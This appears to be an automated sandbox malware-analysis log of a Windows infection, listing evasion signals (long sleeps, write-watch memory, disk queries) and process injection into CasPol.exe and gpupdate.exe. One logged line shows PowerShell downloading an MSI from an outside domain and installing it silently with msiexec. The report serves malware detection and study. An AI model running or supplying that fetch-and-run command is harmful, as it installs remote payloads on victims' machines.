Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe API/Special instruction interceptor: Address: 6FF790B4
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe API/Special instruction interceptor: Address: 6C2D3F54
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe API/Special instruction interceptor: Address: 6FF78DB8
Source: C:\Windows\SysWOW64\gpupdate.exe API/Special instruction interceptor: Address: 6FF74B84
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 2E40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 3650000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 5650000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 71C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 81C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 2C50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 2E80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 2CB0000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5114
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4496
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Window / User API: threadDelayed 5582
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Window / User API: threadDelayed 4205
Found dropped PE file which has not been started or loaded
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSI5E5.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\elvlvj Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\svchost.exe TID: 7516 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9144 Thread sleep count: 5114 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9144 Thread sleep count: 4496 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3220 Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2284 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2284 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6360 Thread sleep count: 65 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6360 Thread sleep count: 135 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -45367s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8144 Thread sleep count: 5582 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -59887s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8144 Thread sleep count: 4205 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -59776s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -34045s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -59664s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -59552s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -32419s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -59440s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -55766s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -59328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -56722s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -59212s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -45844s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -59089s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -51044s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58975s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58865s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -43497s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58753s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -42916s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58642s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58530s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -51769s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58420s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -51795s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58305s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -38241s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58196s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -30623s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -58083s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -57074s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57970s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -30330s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57746s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57635s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -48550s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57523s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -58114s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57412s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57299s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57187s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -57075s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -56080s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56964s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56851s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -55023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56740s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56626s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -35523s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56512s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56403s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56290s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -47043s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56180s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -49787s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -56062s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -46975s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55951s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -41704s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55845s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -42810s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55733s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55622s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55510s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -58413s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55398s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -39846s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55285s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55174s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -36694s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -55053s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -54642s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -54951s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -46817s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -54840s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -30204s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -54728s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -54616s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -44104s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -54498s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4184 Thread sleep time: -53935s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 7928 Thread sleep time: -54393s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 45367
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59887
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59776
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 34045
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59664
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59552
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 32419
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59440
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55766
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59328
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56722
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59212
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 45844
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59089
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 51044
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58975
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58865
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 43497
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58753
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 42916
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58642
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58530
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 51769
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58420
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 51795
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58305
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 38241
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58196
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 30623
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58083
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57074
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57970
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 30330
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57859
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57746
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57635
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 48550
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57523
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58114
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57412
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57299
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57187
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57075
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56080
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56964
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56851
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55023
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56740
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56626
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 35523
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56512
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56403
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56290
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 47043
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56180
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 49787
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56062
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 46975
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55951
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 41704
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55845
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 42810
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55733
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55622
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55510
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58413
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55398
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 39846
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55285
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55174
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 36694
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55053
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54642
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54951
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 46817
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54840
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 30204
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54728
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54616
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 44104
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54498
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 53935
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54393
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation
Launches processes in debugging mode, may be used to hinder debugging
Source: C:\Windows\System32\msiexec.exe Process created: C:\Users\user\AppData\Local\Inkberry\launchultra.exe "C:\Users\user\AppData\Local\Inkberry\launchultra.exe"
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory written: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe base: 400000 value starts with: 4D5A
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe protection: read write
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: NULL target: C:\Windows\SysWOW64\gpupdate.exe protection: read write
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://mfktiaoaolfkfjzjk.com/plu -OutFile C:\Users\Public\7bc.msi; msiexec /i C:\Users\Public\7bc.msi /qn"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\Public\7bc.msi /qn
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe C:\Users\user\AppData\Local\Temp\73763\CasPol.exe
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Windows\SysWOW64\gpupdate.exe C:\Windows\SysWOW64\gpupdate.exe
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe "C:\Users\user\AppData\Local\Temp\73763\CasPol.exe"
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
